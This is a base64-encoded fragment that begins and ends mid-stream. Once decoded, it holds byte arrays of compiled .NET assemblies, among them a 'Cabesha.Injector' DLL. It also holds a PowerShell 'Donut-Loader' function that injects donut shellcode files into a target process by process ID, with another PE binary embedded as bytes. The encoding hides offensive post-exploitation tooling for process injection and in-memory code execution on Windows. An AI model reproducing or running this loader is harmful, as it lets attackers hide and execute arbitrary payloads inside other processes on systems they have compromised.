xNCwgMTA1LCAxMDMsIDEwNCwgMTE2LCAzMiwgNTAsIDQ4LCA0OSwgNTcsIDAsIDAsIDgsIDEsIDAsIDcsIDEsIDAsIDAsIDAsIDAsIDgsIDEsIDAsIDgsIDAsIDAsIDAsIDAsIDAsIDMwLCAxLCAwLCAxLCAwLCA4NCwgMiwgMjIsIDg3LCAxMTQsIDk3LCAxMTIsIDc4LCAxMTEsIDExMCwgNjksIDEyMCwgOTksIDEwMSwgMTEyLCAxMTYsIDEwNSwgMTExLCAxMTAsIDg0LCAxMDQsIDExNCwgMTExLCAxMTksIDExNSwgMSwgMCwgMCwgMCwgMCwgMCwgMCwgMjQ1LCAxODIsIDIzMSwgOTIsIDAsIDAsIDAsIDAsIDIsIDAsIDAsIDAsIDI4LCAxLCAwLCAwLCAyNDAsIDM5LCAwLCAwLCAyNDAsIDksIDAsIDAsIDgyLCA4MywgNjgsIDgzLCAxODEsIDE1LCAxNTksIDgsIDIxMSwgMjM1LCAxOTcsIDcyLCAxMzIsIDUzLCA4NywgMTE3LCAxOTUsIDU0LCAxNTMsIDE5NiwgMywgMCwgMCwgMCwgOTksIDU4LCA5MiwgODUsIDExNSwgMTAxLCAxMTQsIDExNSwgOTIsIDExMywgNTIsIDU2LCA1NywgNTAsIDUzLCA0OCwgNDksIDU2LCA5MiwgNjgsIDExMSwgOTksIDExNywgMTA5LCAxMDEsIDExMCwgMTE2LCAxMTUsIDkyLCA4MywgMTA0LCA5NywgMTE0LCAxMTIsIDY4LCAxMDEsIDExOCwgMTAxLCAxMDgsIDExMSwgMTEyLCAzMiwgODAsIDExNCwgMTExLCAxMDYsIDEwMSwgOTksIDExNiwgMTE1LCA5MiwgOTksIDk3LCA5OCwgMTAxLCAxMTUsIDEwNCwgOTcsIDkyLCA5OSwgOTcsIDk4LCAxMDEsIDExNSwgMTA0LCA5NywgOTIsIDExMSwgOTgsIDEwNiwgOTIsIDY4LCAxMDEsIDk4LCAxMTcsIDEwMywgOTIsIDk5LCA5NywgOTgsIDEwMSwgMTE1LCAxMDQsIDk3LCA0NiwgMTEyLCAxMDAsIDk4LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA1MiwgNDEsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDc4LCA0MSwgMCwgMCwgMCwgMzIsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDY0LCA0MSwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgOTUsIDY3LCAxMTEsIDExNCwgNjgsIDEwOCwgMTA4LCA3NywgOTcsIDEwNSwgMTEwLCAwLCAxMDksIDExNSwgOTksIDExMSwgMTE0LCAxMDEsIDEwMSwgNDYsIDEwMCwgMTA4LCAxMDgsIDAsIDAsIDAsIDAsIDAsIDI1NSwgMzcsIDAsIDMyLCAwLCAxNiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMSwgMCwgMTYsIDAsIDAsIDAsIDI0LCAwLCAwLCAxMjgsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDEsIDAsIDEsIDAsIDAsIDAsIDQ4LCAwLCAwLCAxMjgsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDEsIDAsIDAsIDAsIDAsIDAsIDcyLCAwLCAwLCAwLCA4OCwgNjQsIDAsIDAsIDIwNCwgMiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMjA0LCAyLCA1MiwgMCwgMCwgMCwgODYsIDAsIDgzLCAwLCA5NSwgMCwgODYsIDAsIDY5LCAwLCA4MiwgMCwgODMsIDAsIDczLCAwLCA3OSwgMCwgNzgsIDAsIDk1LCAwLCA3MywgMCwgNzgsIDAsIDcwLCAwLCA3OSwgMCwgMCwgMCwgMCwgMCwgMTg5LCA0LCAyMzksIDI1NCwgMCwgMCwgMSwgMCwgMCwgMCwgMSwgMCwgMTMwLCA3MiwgMTcxLCAyNywgMCwgMCwgMSwgMCwgMTMwLCA3MiwgMTcxLCAyNywgNjMsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDQsIDAsIDAsIDAsIDIsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDY4LCAwLCAwLCAwLCAxLCAwLCA4NiwgMCwgOTcsIDAsIDExNCwgMCwgNzAsIDAsIDEwNSwgMCwgMTA4LCAwLCAxMDEsIDAsIDczLCAwLCAxMTAsIDAsIDEwMiwgMCwgMTExLCAwLCAwLCAwLCAwLCAwLCAzNiwgMCwgNCwgMCwgMCwgMCwgODQsIDAsIDExNCwgMCwgOTcsIDAsIDExMCwgMCwgMTE1LCAwLCAxMDgsIDAsIDk3LCAwLCAxMTYsIDAsIDEwNSwgMCwgMTExLCAwLCAxMTAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDE3NiwgNCwgNDQsIDIsIDAsIDAsIDEsIDAsIDgzLCAwLCAxMTYsIDAsIDExNCwgMCwgMTA1LCAwLCAxMTAsIDAsIDEwMywgMCwgNzAsIDAsIDEwNSwgMCwgMTA4LCAwLCAxMDEsIDAsIDczLCAwLCAxMTAsIDAsIDEwMiwgMCwgMTExLCAwLCAwLCAwLCA4LCAyLCAwLCAwLCAxLCAwLCA0OCwgMCwgNDgsIDAsIDQ4LCAwLCA0OCwgMCwgNDgsIDAsIDUyLCAwLCA5OCwgMCwgNDgsIDAsIDAsIDAsIDU2LCAwLCA4LCAwLCAxLCAwLCA3MCwgMCwgMTA1LCAwLCAxMDgsIDAsIDEwMSwgMCwgNjgsIDAsIDEwMSwgMCwgMTE1LCAwLCA5OSwgMCwgMTE0LCAwLCAxMDUsIDAsIDExMiwgMCwgMTE2LCAwLCAxMDUsIDAsIDExMSwgMCwgMTEwLCAwLCAwLCAwLCAwLCAwLCA5OSwgMCwgOTcsIDAsIDk4LCAwLCAxMDEsIDAsIDExNSwgMCwgMTA0LCAwLCA5NywgMCwgMCwgMCwgNjQsIDAsIDE1LCAwLCAxLCAwLCA3MCwgMCwgMTA1LCAwLCAxMDgsIDAsIDEwMSwgMCwgODYsIDAsIDEwMSwgMCwgMTE0LCAwLCAxMTUsIDAsIDEwNSwgMCwgMTExLCAwLCAxMTAsIDAsIDAsIDAsIDAsIDAsIDQ5LCAwLCA0NiwgMCwgNDgsIDAsIDQ2LCAwLCA1NSwgMCwgNDgsIDAsIDU2LCAwLCA1MSwgMCwgNDYsIDAsIDQ5LCAwLCA1NiwgMCwgNTMsIDAsIDU0LCAwLCA1MCwgMCwgMCwgMCwgMCwgMCwgNTYsIDAsIDEyLCAwLCAxLCAwLCA3MywgMCwgMTEwLCAwLCAxMTYsIDAsIDEwMSwgMCwgMTE0LCAwLCAxMTAsIDAsIDk3LCAwLCAxMDgsIDAsIDc4LCAwLCA5NywgMCwgMTA5LCAwLCAxMDEsIDAsIDAsIDAsIDk5LCAwLCA5NywgMCwgOTgsIDAsIDEwMSwgMCwgMTE1LCAwLCAxMDQsIDAsIDk3LCAwLCA0NiwgMCwgMTAwLCAwLCAxMDgsIDAsIDEwOCwgMCwgMCwgMCwgNjgsIDAsIDE1LCAwLCAxLCAwLCA3NiwgMCwgMTAxLCAwLCAxMDMsIDAsIDk3LCAwLCAxMDgsIDAsIDY3LCAwLCAxMTEsIDAsIDExMiwgMCwgMTIxLCAwLCAxMTQsIDAsIDEwNSwgMCwgMTAzLCAwLCAxMDQsIDAsIDExNiwgMCwgMCwgMCwgNjcsIDAsIDExMSwgMCwgMTEyLCAwLCAxMjEsIDAsIDExNCwgMCwgMTA1LCAwLCAxMDMsIDAsIDEwNCwgMCwgMTE2LCAwLCAzMiwgMCwgNTAsIDAsIDQ4LCAwLCA0OSwgMCwgNTcsIDAsIDAsIDAsIDAsIDAsIDY0LCAwLCAxMiwgMCwgMSwgMCwgNzksIDAsIDExNCwgMCwgMTA1LCAwLCAxMDMsIDAsIDEwNSwgMCwgMTEwLCAwLCA5NywgMCwgMTA4LCAwLCA3MCwgMCwgMTA1LCAwLCAxMDgsIDAsIDEwMSwgMCwgMTEwLCAwLCA5NywgMCwgMTA5LCAwLCAxMDEsIDAsIDAsIDAsIDk5LCAwLCA5NywgMCwgOTgsIDAsIDEwMSwgMCwgMTE1LCAwLCAxMDQsIDAsIDk3LCAwLCA0NiwgMCwgMTAwLCAwLCAxMDgsIDAsIDEwOCwgMCwgMCwgMCwgNDgsIDAsIDgsIDAsIDEsIDAsIDgwLCAwLCAxMTQsIDAsIDExMSwgMCwgMTAwLCAwLCAxMTcsIDAsIDk5LCAwLCAxMTYsIDAsIDc4LCAwLCA5NywgMCwgMTA5LCAwLCAxMDEsIDAsIDAsIDAsIDAsIDAsIDk5LCAwLCA5NywgMCwgOTgsIDAsIDEwMSwgMCwgMTE1LCAwLCAxMDQsIDAsIDk3LCAwLCAwLCAwLCA2OCwgMCwgMTUsIDAsIDEsIDAsIDgwLCAwLCAxMTQsIDAsIDExMSwgMCwgMTAwLCAwLCAxMTcsIDAsIDk5LCAwLCAxMTYsIDAsIDg2LCAwLCAxMDEsIDAsIDExNCwgMCwgMTE1LCAwLCAxMDUsIDAsIDExMSwgMCwgMTEwLCAwLCAwLCAwLCA0OSwgMCwgNDYsIDAsIDQ4LCAwLCA0NiwgMCwgNTUsIDAsIDQ4LCAwLCA1NiwgMCwgNTEsIDAsIDQ2LCAwLCA0OSwgMCwgNTYsIDAsIDUzLCAwLCA1NCwgMCwgNTAsIDAsIDAsIDAsIDAsIDAsIDcyLCAwLCAxNSwgMCwgMSwgMCwgNjUsIDAsIDExNSwgMCwgMTE1LCAwLCAxMDEsIDAsIDEwOSwgMCwgOTgsIDAsIDEwOCwgMCwgMTIxLCAwLCAzMiwgMCwgODYsIDAsIDEwMSwgMCwgMTE0LCAwLCAxMTUsIDAsIDEwNSwgMCwgMTExLCAwLCAxMTAsIDAsIDAsIDAsIDQ5LCAwLCA0NiwgMCwgNDgsIDAsIDQ2LCAwLCA1NSwgMCwgNDgsIDAsIDU2LCAwLCA1MSwgMCwgNDYsIDAsIDQ5LCAwLCA1NiwgMCwgNTMsIDAsIDU0LCAwLCA1MCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMzIsIDAsIDAsIDEyLCAwLCAwLCAwLCA5NiwgNTcsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDApKSB8IG91dC1udWxsIAokYmluYXJpbyAgPSAkYXJnLnNwbGl0KCIgLCIpWzBdCiRhcmcgPSAkYXJnLlJlcGxhY2UoIiRiaW5hcmlvICIsIiIpLnNwbGl0KCIsIikgfCBTZWxlY3QtT2JqZWN0IC1Ta2lwIDEKJGFyZ3VtZW50b3MgPSAkYmluYXJpbwpmb3JlYWNoICgkYXJndW1lbnRvIGluICRhcmcpIHsKW2FycmF5XSRhcmd1bWVudG9zICs9ICRhcmd1bWVudG8KCn0KW0NhYmVzaGEuSW5qZWN0b3JdOjpFeGVjdXRlKCRhcmd1bWVudG9zKX0KfQpmdW5jdGlvbiBEb251dC1Mb2FkZXIge3BhcmFtKCRwcm9jZXNzX2lkLCRkb251dGZpbGUpCiAgICAkaGVscD1AIgouU1lOT1BTSVMKICAgIERvbnV0IExvYWRlci4KICAgIFBvd2VyU2hlbGwgRnVuY3Rpb246IERvbnV0LUxvYWRlcgogICAgQXV0aG9yOiBMdWlzIFZhY2FzIChDeWJlclZhY2EpCiAgICBCYXNlZCBjb2RlOiBUaGVXb3ZlcgoKICAgIFJlcXVpcmVkIGRlcGVuZGVuY2llczogTm9uZQogICAgT3B0aW9uYWwgZGVwZW5kZW5jaWVzOiBOb25lCi5ERVNDUklQVElPTgogICAgCi5FWEFNUExFCiAgICBEb251dC1Mb2FkZXIgLXByb2Nlc3NfaWQgMjE5NSAtZG9udXRmaWxlIC9ob21lL2N5YmVydmFjYS9kb251dC5iaW4KICAgIERvbnV0LUxvYWRlciAtcHJvY2Vzc19pZCAoZ2V0LXByb2Nlc3Mgbm90ZXBhZCkuaWQgLWRvbnV0ZmlsZSAvaG9tZS9jeWJlcnZhY2EvZG9udXQuYmluCgogICAgRGVzY3JpcHRpb24KICAgIC0tLS0tLS0tLS0tCiAgICBGdW5jdGlvbiB0aGF0IGxvYWRzIGFuIGFyYml0cmFyeSBkb251dCA6RAoiQAppZiAoJHByb2Nlc3NfaWQgLWVxICRudWxsIC1vciAkZG9udXRmaWxlIC1lcSAkbnVsbCkge3dyaXRlLWhvc3QgIiRoZWxwYG4ifSBlbHNlIAp7CmlmICgoW0ludFB0cl06OlNpemUpIC1lcSA0KSB7d3JpdGUtaG9zdCAiU29ycnksIHRoaXMgZnVuY3Rpb24gb25seSB3b3JrIG9uIHg2NCA6KCI7IGJyZWFrfQpbYnl0ZVtdXSRieXRlcyA9IDc3LCA5MCwgMTQ0LCAwLCAzLCAwLCAwLCAwLCA0LCAwLCAwLCAwLCAyNTUsIDI1NSwgMCwgMCwgMTg0LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA2NCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMTI4LCAwLCAwLCAwLCAxNCwgMzEsIDE4NiwgMTQsIDAsIDE4MCwgOSwgMjA1LCAzMywgMTg0LCAxLCA3NiwgMjA1LCAzMywgODQsIDEwNCwgMTA1LCAxMTUsIDMyLCAxMTIsIDExNCwgMTExLCAxMDMsIDExNCwgOTcsIDEwOSwgMzIsIDk5LCA5NywgMTEwLCAxMTAsIDExMSwgMTE2LCAzMiwgOTgsIDEwMSwgMzIsIDExNCwgMTE3LCAxMTAsIDMyLCAxMDUsIDExMCwgMzIsIDY4LCA3OSwgODMsIDMyLCAxMDksIDExMSwgMTAwLCAxMDEsIDQ2LCAxMywgMTMsIDEwLCAzNiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgODAsIDY5LCAwLCAwLCAxMDAsIDEzNCwgMiwgMCwgNDEsIDY0LCAxMzksIDkzLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAyNDAsIDAsIDM0LCAzMiwgMTEsIDIsIDExLCAwLCAwLCAxNiwgMCwgMCwgMCwgMTYsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDMyLCAwLCAwLCAwLCAwLCA2NCwgMCwgMCwgMCwgMCwgMCwgMCwgMzIsIDAsIDAsIDAsIDE2LCAwLCAwLCA0LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA2LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA5NiwgMCwgMCwgMCwgMTYsIDAsIDAsIDAsIDAsIDAsIDAsIDMsIDAsIDk2LCAxMzMsIDAsIDAsIDY0LCAwLCAwLCAwLCAwLCAwLCAwLCA2NCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMTYsIDAsIDAsIDAsIDAsIDAsIDAsIDMyLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAxNiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgNjQsIDAsIDAsIDg4LCAzLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAyMCwgNDUsIDAsIDAsIDI4LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAzMiwgMCwgMCwgNzIsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDQ2LCAxMTYsIDEwMSwgMTIwLCAxMTYsIDAsIDAsIDAsIDc2LCAxNCwgMCwgMCwgMCwgMzIsIDAsIDAsIDAsIDE2LCAwLCAwLCAwLCAxNiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMzIsIDAsIDAsIDk2LCA0NiwgMTE0LCAxMTUsIDExNCwgOTksIDAsIDAsIDAsIDg4LCAzLCAwLCAwLCAwLCA2NCwgMCwgMCwgMCwgMTYsIDAsIDAsIDAsIDMyLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA2NCwgMCwgMCwgNjQsIDQ2LCAxMTQsIDEwMSwgMTA4LCAxMTEsIDk5LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA5NiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgNDgsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDY0LCAwLCAwLCA2NiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwg